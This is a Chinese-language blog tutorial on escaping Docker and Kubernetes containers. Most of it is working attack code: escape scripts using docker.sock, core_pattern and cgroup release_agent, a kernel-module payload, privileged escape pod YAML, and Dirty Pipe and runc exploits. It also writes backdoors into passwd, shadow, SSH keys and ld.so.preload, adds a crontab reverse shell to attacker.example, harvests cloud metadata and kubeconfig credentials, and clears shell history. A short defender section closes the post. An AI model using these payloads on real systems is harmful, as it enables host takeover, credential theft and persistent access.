云安全渗透(四)容器逃逸实战

一、逃逸之前先搞清楚自己在哪

容器逃逸最常见的问题不是手法不够,是上来就跑错 payload。看到一个 --privileged 的容器就急着挂盘,结果发现根本没有块设备;看到一个普通容器就放弃了,其实 /proc/sys 是可写的。

这一节的目标是:拿到一个容器内的 shell 之后,用三十秒把”我在什么容器里、有什么能力、缺什么”判断清楚,然后才决定走哪条路。

1.1 先判断是不是容器

# 三种判断方式,命中任意一条基本可以确认
ls -la /.dockerenv
cat /proc/1/cgroup
cat /proc/1/sched | head -1
# 是不是 K8s
ls /var/run/secrets/kubernetes.io/serviceaccount/
env | grep -i kubernetes

/.dockerenv 存在就是 Docker 容器。/proc/1/cgroup 里出现 docker、kubepods、containerd 这类字符串也是。/proc/1/sched 第一行如果是容器内的进程名而不是宿主机的 systemd,说明 PID 是隔离的(如果第一行显示宿主机 PID 编号且值很大,说明用了 --pid=host,这是好消息)。

一个容易看错的点:/proc/1/cgroup 在某些环境下只显示 /,这不能说明不是容器,只说明 cgroup 信息被隐藏了。要以 /.dockerenv 和 hostname 为准。

1.2 capabilities 是逃逸的第一线索

容器逃逸的本质,几乎都可以归结为”这个容器被授予了本该属于宿主机的某个能力”。所以枚举 capability 比枚举任何东西都重要。

# 首选,输出最直观
capsh --print
# 没有 capsh 时直接读 status
grep -E 'Cap(Inh|Prm|Eff|Bnd)' /proc/self/status

CapEff 是一串十六进制位图,需要解码。capsh --decode 最方便:

capsh --decode=0000003fffffffff

没有 capsh 时用这段 python:

python3 -c "
cap = {0:'CHOWN',1:'DAC_OVERRIDE',2:'DAC_READ_SEARCH',3:'FOWNER',4:'FSETID',5:'KILL',6:'SETGID',7:'SETUID',8:'SETPCAP',9:'LINUX_IMMUTABLE',10:'NET_BIND_SERVICE',11:'NET_BROADCAST',12:'NET_ADMIN',13:'NET_RAW',14:'IPC_LOCK',15:'IPC_OWNER',16:'SYS_MODULE',17:'SYS_RAWIO',18:'SYS_CHROOT',19:'SYS_PTRACE',20:'SYS_PACCT',21:'SYS_ADMIN',22:'SYS_BOOT',23:'SYS_NICE',24:'SYS_RESOURCE',25:'SYS_TIME',26:'SYS_TTY_CONFIG',27:'MKNOD',28:'LEASE',29:'AUDIT_WRITE',30:'AUDIT_CONTROL',31:'SETFCAP',32:'MAC_OVERRIDE',33:'MAC_ADMIN',34:'SYSLOG',35:'WAKE_ALARM',36:'BLOCK_SUSPEND',37:'AUDIT_READ'}
v = int(open('/proc/self/status').read().split('CapEff:')[1].split()[0], 16)
print(' '.join(n for b, n in cap.items() if v >> b & 1))
"

拿到列表之后,对照下面这张表,看哪一个能直接用:

Capability能做什么逃逸路径
CAP_SYS_ADMIN挂载文件系统、操作 cgroupcgroup release_agent、挂载宿主机设备、/proc/sys 写入
CAP_SYS_MODULE加载内核模块insmod 一个执行命令的模块
CAP_SYS_PTRACEptrace 其他进程配合 --pid=host 注入宿主机进程
CAP_SYS_RAWIO直接读写内核内存/dev/mem、/dev/kmem(现代内核默认禁用,多数情况不可用)
CAP_MKNOD创建设备节点造一个指向宿主机磁盘的块设备
CAP_DAC_READ_SEARCH绕过文件权限读取open_by_handle_at() 读宿主机任意文件
CAP_NET_ADMIN网络配置与宿主机共享网络命名空间时劫持流量
CAP_SYS_CHROOT调用 chroot配合已挂载的宿主机根目录

CAP_SYS_ADMIN 是最值钱的一个。默认的 Docker 容器不给它,K8s 的 privileged: true 会给全部 capability 并放开 device cgroup 限制。

有一个例外要记住:nsenter 不需要 privileged,只需要 --pid=host 和 CAP_SYS_ADMIN。很多”以为要 privileged 才能逃逸”的场景,其实只要 PID 命名空间共享就够。

1.3 挂载点、设备、socket

# 挂载点,重点看有没有挂宿主机目录
mount
cat /proc/mounts | grep -E 'docker.sock|/proc|/sys|/root| /host'
# socket,看到任意一个都意味着可以直接命令运行时
ls -la /var/run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock 2>/dev/null
# 设备和内核参数
ls /dev
fdisk -l 2>/dev/null
cat /proc/partitions
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/modprobe
uname -a
# 直接验证 docker.sock 是否可用
curl -s --unix-socket /var/run/docker.sock http://localhost/version
docker -H unix:///var/run/docker.sock ps 2>/dev/null

四个判断结论:

  • 看到 /var/run/docker.sock → 走 2.1 节,这是最稳的一条。
  • mount 输出里 /proc 没有 ro 且能看到 /proc/sys/kernel/core_pattern → 走 2.2 节。
  • 看到 -v /:/host 之类的挂载 → 走 2.3 节。
  • 什么都没看到,但 CapEff 很高 → 走第三节或第四节。

1.4 一份可直接跑的信息收集脚本

把上面的检查串起来,贴进目标容器就能跑:

#!/bin/bash
echo "=== container ==="
ls -la /.dockerenv 2>/dev/null && echo "[+] docker env found"
cat /proc/1/cgroup | head -3
echo "=== k8s ==="
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "[+] k8s SA"
echo "=== caps ==="
capsh --print 2>/dev/null | grep -i current || grep CapEff /proc/self/status
echo "=== mounts ==="
mount | grep -E 'docker.sock|containerd.sock|/host| /proc | /sys '
echo "=== sockets ==="
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
echo "=== kernel ==="
uname -r
cat /proc/sys/kernel/core_pattern 2>/dev/null
cat /proc/sys/kernel/modprobe 2>/dev/null
echo "=== devices ==="
ls /dev | tr '\n' ' '
echo
echo "=== env ==="
env | grep -iE 'kube|aws|aliyun|tencent|azure|gcp|token'
echo "=== host root? ==="
for d in /host /mnt /root /media; do [ -d "$d" ] && ls "$d" 2>/dev/null | head -3; done

二、危险挂载:最常见的成功路径

2.1 docker.sock 挂载

条件:宿主机的 /var/run/docker.sock 被挂进了容器,且容器内是 root 或与 socket 同组。这是实战里命中率最高的一条,因为很多 CI Runner、监控 Agent、运维工具容器都会挂它。

最直接的做法是用容器内的 docker 客户端起一个挂载宿主机根的容器:

docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host alpine chroot /host bash

进到 /host 之后,/host/etc/shadow、/host/root/.ssh/、/host/etc/kubernetes/ 全都可读写。

没有 docker 客户端时,直接调 Docker Engine API。分成三步:

# 第一步:创建容器
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/shadow"],
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  'http://localhost/containers/create?name=pwn'
# 第二步:启动
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/pwn/start
# 第三步:读输出
curl -s --unix-socket /var/run/docker.sock \
  'http://localhost/containers/pwn/logs?stdout=1&stderr=1'

Binds 是挂载,Privileged: true 给全部 capability。这两项一加,等于直接拿到宿主机 root。

如果挂的是 containerd 的 socket 而不是 docker.sock,用 ctr:

ctr -a /run/containerd/containerd.sock -n k8s.io run --privileged \
  --mount type=bind,src=/,dst=/host \
  docker.io/library/alpine pwn sh

注意 -n k8s.io 这个命名空间参数,K8s 的容器都在这个 namespace 下。

2.2 /proc 挂载可写 + core_pattern

条件:容器是 privileged 或加了 --pid=host,并且 /proc/sys 可写。Linux 的 core dump 机制允许用一个程序接管崩溃转储,这个程序以触发崩溃的进程所属的命名空间里的 root 执行。如果 /proc/sys/kernel/core_pattern 可写,就能让宿主机执行任意命令。

这里有一个容易踩的坑:内核在解析 core_pattern 时只按空格切分参数,不做引号解析。所以 |/bin/sh -c "cp a b" 这种写法是无效的,内核会把 "cp 当成一个完整的参数传进去。正确做法是先写一个脚本,再让 core_pattern 指向它:

# 在容器内写脚本
cat > /tmp/coredump.sh <<'EOF'
#!/bin/sh
cp /proc/1/root/root/.ssh/id_rsa /tmp/k
EOF
chmod +x /tmp/coredump.sh
# 让内核把 core 交给这个脚本处理,| 开头表示管道给程序
echo '|/tmp/coredump.sh' > /proc/sys/kernel/core_pattern
# 触发一个崩溃
ulimit -c unlimited
sleep 1000 &
kill -SEGV $!

/proc/1/root/ 在 PID 共享的情况下指向宿主机的根文件系统。脚本路径是相对于崩溃进程所在挂载命名空间的根解析的,所以用容器内的 /tmp/coredump.sh 即可。

验证是否成功:

ls -la /tmp/k

如果写进去不生效,先确认 mount | grep proc 里 /proc 没有 ro 标志。另外这个脚本本身的路径不能超过内核的 core_pattern 长度限制(约 128 字节),路径太深要换短一点的位置。

2.3 宿主机目录被挂载

条件:-v /:/host、-v /etc:/host/etc、-v /root:/root 这类挂载。

挂了宿主机根目录时:

chroot /host bash

直接就是宿主机的 root shell。

只挂了 /etc:

# 加一个 uid 为 0 的用户
echo 'pwn::0:0::/root:/bin/bash' >> /host/etc/passwd
echo 'pwn:x:0:0::/root:/bin/bash' >> /host/etc/shadow
# 或者直接写 SSH 公钥
mkdir -p /host/root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@example' >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys

ld.so.preload 是个更隐蔽的后门,可以让宿主机上所有动态链接的程序加载指定库:

echo '/tmp/libpwn.so' >> /host/etc/ld.so.preload

写 crontab 也是常规操作:

echo '* * * * * root bash -i >& /dev/tcp/attacker.example/4444 0>&1' >> /host/etc/crontab

在授权测试里,这三种写文件的操作都要先确认授权范围,并且测试完必须清理。

三、cgroup release_agent 逃逸

这是最经典的一条,也是最容易被写错的一条。

原理:cgroup v1 的每个 cgroup 都有一对文件 notify_on_release 和 release_agent。当设置了 notify_on_release=1 的 cgroup 里最后一个进程退出时,内核会以宿主机 root 权限执行 release_agent 指定的程序。而这个路径可以指向容器内我们控制的脚本。

条件(缺一不可):

  1. 系统在使用 cgroup v1。这一点不能靠内核版本推断,要用 mount | grep cgroup 或 stat -fc %T /sys/fs/cgroup 现场确认(返回 cgroup2fs 就是 v2,返回 tmpfs 就是 v1)。
  2. 容器有 CAP_SYS_ADMIN,或者内核允许非特权用户创建新的 user namespace 并能挂载 cgroup(这就是 CVE-2022-0492)。
  3. release_agent 和 notify_on_release 在顶层 cgroup 上可写。

完整利用脚本:

#!/bin/sh
CGRP=/tmp/cgrp
mkdir -p $CGRP
# 挂载一个新的 cgroup 子系统,cgroup v1 才支持
mount -t cgroup -o rdma cgroup $CGRP 2>/dev/null || \
mount -t cgroup -o memory cgroup $CGRP
# 在这个 cgroup 下建一个子 cgroup
mkdir $CGRP/x
# 开启 notify_on_release,最后进程退出时会执行 release_agent
echo 1 > $CGRP/x/notify_on_release
# 关键一步:算出容器根文件系统在宿主机上的绝对路径
HOSTPATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
# 把 release_agent 指向容器内的脚本
echo "$HOSTPATH/tmp/exp.sh" > $CGRP/release_agent
# 写脚本,注意这里执行时的身份是宿主机 root
printf '#!/bin/sh\nid > /output\ncat /etc/shadow > /output.shadow\n' > /tmp/exp.sh
chmod +x /tmp/exp.sh
# 触发:把一个进程放进 x,然后让它退出
sh -c "echo \$\$ > $CGRP/x/cgroup.procs"
sleep 1
cat /output.shadow

HOSTPATH 这一步是整个脚本里最容易出错的地方。/etc/mtab 里记录的挂载项会带 perdir= 参数,它就是容器当前根目录在宿主机上的路径,形如 /var/lib/docker/overlay2/<hash>/diff。release_agent 必须是宿主机视角的绝对路径,所以必须做这个转换。

如果容器里没有 /etc/mtab,可以换成从 /proc/self/mountinfo 解析:

cat /proc/self/mountinfo | grep -m1 ' / ' 

没有 CAP_SYS_ADMIN 的情况(CVE-2022-0492):如果内核允许非特权用户创建 user namespace,可以先进一个新命名空间拿到 CAP_SYS_ADMIN,再跑上面的脚本:

unshare -UrmC --propagation private bash -c '<上面的脚本>'

-U 是 user namespace,-r 把当前用户映射成新命名空间里的 root,-m 是 mount,-C 是 cgroup。这个组合在 kernel.unprivileged_userns_clone=1 且内核版本落在 2.6.24 到 5.16 区间的机器上有效。不同发行版对这个漏洞的修补情况差异很大,命中率要现场验证。

一条反面提醒:cgroup v2 没有 release_agent 这个文件。如果 mount -t cgroup 失败并且 /sys/fs/cgroup 下看不到 cgroup.controllers 以外的东西,说明系统用的是 v2,这条路直接放弃,别浪费时间。

四、特权容器与 capabilities

4.1 特权容器直接挂宿主磁盘

条件:--privileged,此时 device cgroup 限制被放开,容器能看到宿主机所有块设备。

# 先看有什么设备
fdisk -l
lsblk
cat /proc/partitions
# 挂载宿主机的根分区
mkdir -p /mnt/h
mount /dev/sda1 /mnt/h
chroot /mnt/h bash

常见的设备名是 /dev/sda1、/dev/vda1(KVM)、/dev/nvme0n1p1。不确认的话,lsblk 的 MOUNTPOINT 列会告诉你哪个是根分区。

如果是 LVM:

vgscan
vgchange -ay
lvs
mount /dev/vg0/root /mnt/h

如果容器里连块设备节点都没有,但有 CAP_MKNOD,可以自己造一个。主设备号和次设备号从 lsblk 或者宿主机信息里拿,sda1 通常是 8:1:

mknod /tmp/sda1 b 8 1
mount /tmp/sda1 /mnt

4.2 CAP_SYS_MODULE 加载内核模块

条件:有 CAP_SYS_MODULE,并且容器内能访问匹配当前内核版本的模块编译环境或已有 .ko 文件。

最省的写法是直接写一个执行命令的模块:

// /tmp/r.c
#include <linux/module.h>
#include <linux/kmod.h>
static int __init p(void) {
    char *argv[] = {"/bin/sh", "-c", "cat /etc/shadow > /host/tmp/s", NULL};
    char *envp[] = {NULL};
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    return 0;
}
static void __exit q(void) {}
module_init(p);
module_exit(q);
MODULE_LICENSE("GPL");

编译并加载:

make -C /lib/modules/$(uname -r)/build M=/tmp modules
insmod /tmp/r.ko

实战里几乎不可能在目标容器内编译成功,因为容器里没有内核头文件。可行做法是在本地编译出与目标内核版本严格一致的 .ko,再想办法传进去。uname -r 的输出必须完全匹配,差一个小版本都会加载失败。所以这条路在授权测试里通常只做验证,不实际投递模块。

4.3 其余 capability 的利用

CAP_SYS_PTRACE + --pid=host:直接进宿主机的命名空间。

nsenter -t 1 -m -u -i -n -p -- bash

没有 nsenter 时用 gdb 注入 PID 1:

gdb -p 1 -batch -ex 'call system("id")'

CAP_NET_ADMIN:如果和宿主机共享网络命名空间,可以做流量劫持。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
ip link set eth0 promisc on

CAP_DAC_READ_SEARCH:用 open_by_handle_at() 绕过文件权限检查读宿主机文件。shocker 是最经典的实现:

git clone https://github.com/gabrtv/shocker
cd shocker
make
./shocker /etc/hosts /etc/shadow

这个手法在内核 5.x 上成功率明显下降,因为需要拿到目标文件所在的同一文件系统句柄。用在老内核上更靠谱。

CAP_SYS_RAWIO:理论上可以通过 /dev/mem 读写内核内存,但现代内核默认开启了 CONFIG_STRICT_DEVMEM,这条路在实际环境里基本已经不可用。

五、内核漏洞

内核漏洞的特点是危害大、但风险也大。在客户环境里跑内核 exploit 有可能直接把机器打挂,所以授权测试前必须确认清楚。

CVE影响版本利用条件备注
CVE-2022-0492内核 2.6.24 – 5.16可写 cgroup v1 + 允许非特权 user namespace即第三节的 user-ns 变体
CVE-2019-5736runc ≤ 1.0-rc6,Docker < 18.09.2能 docker exec 进容器,或宿主机执行容器内二进制覆写宿主 runc,exploit-db 61229
CVE-2020-15257containerd < 1.3.9 / < 1.4.3容器使用 host 网络(--net=host)通过 abstract socket 让 shim 执行命令
CVE-2021-22555内核 2.6.19 – 5.12有 CAP_NET_ADMINnetfilter 堆溢出
CVE-2021-25741kubelet < 1.19.15 / 1.20.11 / 1.21.5 / 1.22.2已有 Pod 且能在卷内建符号链接subPath 软链指向宿主根
CVE-2022-0847内核 5.8 – 5.16.11 / 5.15.25 / 5.10.102任意本地用户Dirty Pipe,覆写只读文件
CVE-2022-0185内核 5.1 – 5.16.2user namespace 内的 CAP_SYS_ADMINfsconfig 堆溢出,覆写 modprobe_path
CVE-2024-21626runc ≤ 1.1.11,Docker < 25.0.2可控镜像 WORKDIR 或 -w 参数Leaky Vessels,文件描述符泄漏

**CVE-2022-0847(Dirty Pipe)**是这里面门槛最低的一个,因为不需要任何 capability,任意本地用户都能用:

git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
./compile.sh
# 直接改 /etc/passwd 里 root 的密码为已知值
./exploit-2 /etc/passwd
su root

CVE-2022-0185 的思路值得记一下:利用 fsconfig 的整数下溢造成堆溢出,最终覆写全局变量 modprobe_path。覆写之后,只要触发一次”执行一个未知格式的二进制文件”,内核就会以 root 身份去执行 modprobe_path 指向的程序。这是一类通用思路,Dirty Pipe 之外的很多提权也是这么收尾的。

# 触发 modprobe_path
echo -ne '\xff\xff\xff\xff' > /tmp/trigger
chmod +x /tmp/trigger
/tmp/trigger

**CVE-2024-21626(Leaky Vessels)**比较新,利用 runc 在处理工作目录时的文件描述符泄漏,把容器的工作目录设到 /proc/self/fd/7 这类路径上,就能突破到宿主机文件系统:

docker run -w /proc/self/fd/7 alpine ls /
docker exec -w /proc/self/fd/7 <container> sh -c 'cat /etc/shadow'

在授权测试里,我的一般原则是:本地能复现的内核 exploit 不用在客户环境跑,报告里给版本和 PoC 链接、说明理论可行即可。真要在客户环境验证,先拿到书面确认,并准备好机器崩溃后的恢复方案。

六、Kubernetes 场景下的逃逸

K8s 里的逃逸本质上和 Docker 一样,只是入口变成了 Pod 的 securityContext 和 volumeMounts。这部分和第五篇有交叉,这里只讲从容器侧观测到的特征。

6.1 判断自己是不是特权 Pod

# 有这些特征基本可以确认是 privileged
ls /dev | wc -l          # 特权容器能看到宿主机全部设备
cat /proc/self/status | grep CapEff   # 应该是 0000003fffffffff 或接近
mount | grep -c ' / '    # 有些特权 Pod 会挂宿主机根

6.2 标准逃逸 YAML

如果已经拿到 create pods 权限,直接起一个逃逸 Pod。这是最常用的模板:

apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: c
    image: alpine
    command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "--", "chroot", "/host", "bash"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: h
  volumes:
  - name: h
    hostPath:
      path: /

三个关键字段:hostPID: true 让容器看到宿主机进程,privileged: true 给全部 capability,hostPath: / 把宿主机根挂进来。nsenter -t 1 进 PID 1 的命名空间,再 chroot /host 就落到宿主机根。

6.3 只有 hostPID 没有 privileged

这条经常被忽略。只要 hostPID: true 且有 CAP_SYS_ADMIN(默认不给,但有些镜像会加),不需要 privileged:

nsenter -t 1 -m -u -i -n -p -- bash

6.4 hostPath 挂载的典型场景

看到这些挂载点就要意识到风险:

挂载路径能做什么
/直接读写宿主机全部文件
/var/run/docker.sock走 2.1 节
/proc走 2.2 节的 core_pattern
/etc加用户、写 SSH key、写 crontab
/var/lib/kubelet写 static pod manifest,让 kubelet 拉起恶意 Pod
/var/log写日志、可能触发日志采集器的命令执行

/var/lib/kubelet 特别值得注意。写一个 static pod 到 /var/lib/kubelet/manifests/ 或者 /etc/kubernetes/manifests/,kubelet 会自动把它拉起来:

cat > /var/lib/kubelet/manifests/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: static-pwn
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: c
    image: alpine
    command: ["sh", "-c", "nsenter -t 1 -m -u -i -n -p -- sh -c 'id; chroot /host sh'"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: h
  volumes:
  - name: h
    hostPath:
      path: /
EOF

注意 static pod 的实际 manifest 目录由 kubelet 的 --pod-manifest-path 或 staticPodPath 配置决定,不一定是 /etc/kubernetes/manifests,现场要先读 kubelet 配置确认。

6.5 逃逸后打 kubelet 和元数据

拿到 hostNetwork 或宿主机权限之后,两个高价值目标:

# kubelet 只读接口,能列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods
# 云元数据,这一条通向云账号
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl -s http://metadata.tencentyun.com/latest/meta-data/

第二条是整条攻击链里最关键的一次跳跃。容器逃逸拿到的只是一台节点,元数据拿到的是云账号的临时凭证,后面能操作的就变成整个云环境了。这部分在第二篇和第五篇展开。

七、拿到宿主机权限之后

7.1 优先做的事

# 确认身份
id; hostname; uname -a
# 集群凭据,这是最有价值的文件
cat /etc/kubernetes/admin.conf
ls -la /etc/kubernetes/
cat /var/lib/kubelet/kubeconfig
# 找其他节点和服务的凭据
grep -rIl 'client-key-data\|Bearer ' /etc /root /home 2>/dev/null | head
find / -name '*.kubeconfig' -o -name 'kubeconfig' 2>/dev/null | head
# 云侧凭据
cat /root/.aws/credentials 2>/dev/null
cat /root/.aliyun/config.json 2>/dev/null
cat /root/.tccli/default.credential 2>/dev/null

/etc/kubernetes/admin.conf 是最高价值的文件,它里面的客户端证书通常直接对应 system:masters 组,等同于 cluster-admin。拿到它,第五篇的内容就不需要打了。

7.2 清理

授权测试的清理环节和数据获取环节同等重要。这里给一份清单:

# 还原被改的内核参数
echo core > /proc/sys/kernel/core_pattern
sysctl -w kernel.modprobe=/sbin/modprobe
# 删除临时文件
rm -rf /tmp/cgrp /tmp/r.* /tmp/exp.sh /tmp/*.so
rmmod r 2>/dev/null
# 删除后门条目
sed -i '/backdoor:/d' /host/etc/shadow
sed -i '/libpwn/d' /host/etc/ld.so.preload
sed -i '/ATTACKER/d' /host/etc/crontab
# 删除测试用的 Pod 和容器
kubectl delete pod pwn --force --grace-period=0
docker rm -f pwn
# 清理命令历史
history -c
unset HISTFILE

/etc/shadow、/etc/passwd、authorized_keys、ld.so.preload 这几个文件在修改前必须先备份原文件,清理时用备份还原,比用 sed 删除更可靠。

八、防守方视角:这些动作怎么被发现

逃逸的技术手段在变,但留下的痕迹相对固定。几个高价值的检测点:

# 内核参数被改
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/modprobe
grep -r . /sys/fs/cgroup/*/release_agent 2>/dev/null
# 特权容器
docker ps -q | xargs docker inspect --format '{{.Id}} {{.HostConfig.Privileged}} {{.Mounts}}'
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged)'
# 审计日志
ausearch -k container_escape -i

容器内的自查工具:

amicontained          # 检查 capability 和命名空间
./cdk evaluate        # 环境评估
./deepce.sh           # 综合信息收集与提权建议

运行时检测层面,Falco 和 Tetragon 是最常用的两个。需要重点告警的行为:

  • 写入 /proc/sys/kernel/*
  • 在容器内执行 mount、nsenter、unshare
  • 访问 /var/run/docker.sock、/run/containerd/containerd.sock
  • 容器内出现新的 /dev 块设备访问
  • 以 privileged: true 创建容器或 Pod
  • 对 /etc/kubernetes/ 下文件的读取

给一条 Falco 规则的思路:监控 open_write 且目标文件为 /proc/sys/kernel/core_pattern 或 /proc/sys/kernel/modprobe,几乎可以确定是逃逸尝试。


下一篇讲第五篇:Kubernetes 集群渗透。会系统讲集群有哪几个不需要认证就能进的入口、RBAC 里哪些权限组合等于管理员、以及从一个普通 Pod 内的 ServiceAccount token 到 cluster-admin 的完整链条。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇